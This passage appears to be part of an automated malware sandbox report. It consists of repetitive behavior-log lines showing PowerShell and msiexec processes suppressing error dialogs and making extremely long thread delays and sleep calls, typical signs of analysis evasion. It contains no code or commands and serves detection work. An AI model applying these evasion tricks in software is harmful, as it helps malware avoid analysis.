Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594796	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594578	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7840			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1798			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7436	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8008	Thread sleep count: 8700 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8008	Thread sleep count: 1154 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597796s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596454s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -596015s >= -30000s	Jump to behavior
